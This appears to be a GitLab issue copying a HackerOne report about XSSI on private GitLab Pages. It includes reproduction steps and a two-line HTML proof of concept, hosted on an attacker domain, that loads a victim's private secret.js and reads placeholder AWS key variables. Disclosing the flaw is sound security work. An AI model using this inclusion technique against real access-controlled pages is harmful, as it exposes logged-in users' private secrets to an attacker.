XSSI in Gitlab Pages *.gitlab.io

HackerOne report #719770 by ngalog on 2019-10-22, assigned to @jeremymatos:

Security workflow issue: https://dev.gitlab.org/gitlab/gitlabhq/issues/2967.

Summary

Since now gitlab.io has implemented access control for all private pages, all pages should be limited to authorized user, however I found there is a way to steal content of JS files of victim using the XSSI(Cross Site Scripting Inclusion) technique in certain conditions.

Steps to reproduce

  • Use Gitlab CI/CD to build a page, and limit access to project member only
  • In the gitlab page folder, upload a JS file, something like below

secret.js

aws_key='AKIARONCHAN';  
aws_secret='RONCHANAGAIN'  
  • Then, as the victim, login to gitlab
  • As the attacker, in a domain that you control, prepare below html file and make victim to visit the page

https://attacker.com/attackpage

<script src="https://GROUPID.gitlab.io/PROJECTID/secret.js"></script>  
<script>alert(aws_key);</script>  
  • Then you should see a pop up containing the JS secrets of the gitlab page.

Impact

XSSI to steal user's gitlab page's JS file content

Examples

Given above

What is the current bug behavior?

Didn't block invalid refer

What is the expected correct behavior?

Should not be able to allow attacker to carry out XSSI attacker

Relevant logs and/or screenshots

Screenshot_2019-10-22_at_9.46.24_PM.png
Screenshot_2019-10-22_at_9.46.36_PM.png
Screenshot_2019-10-22_at_9.46.42_PM.png

Output of checks

gitlab.com

Impact

XSSI

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

Edited by Krasimir Angelov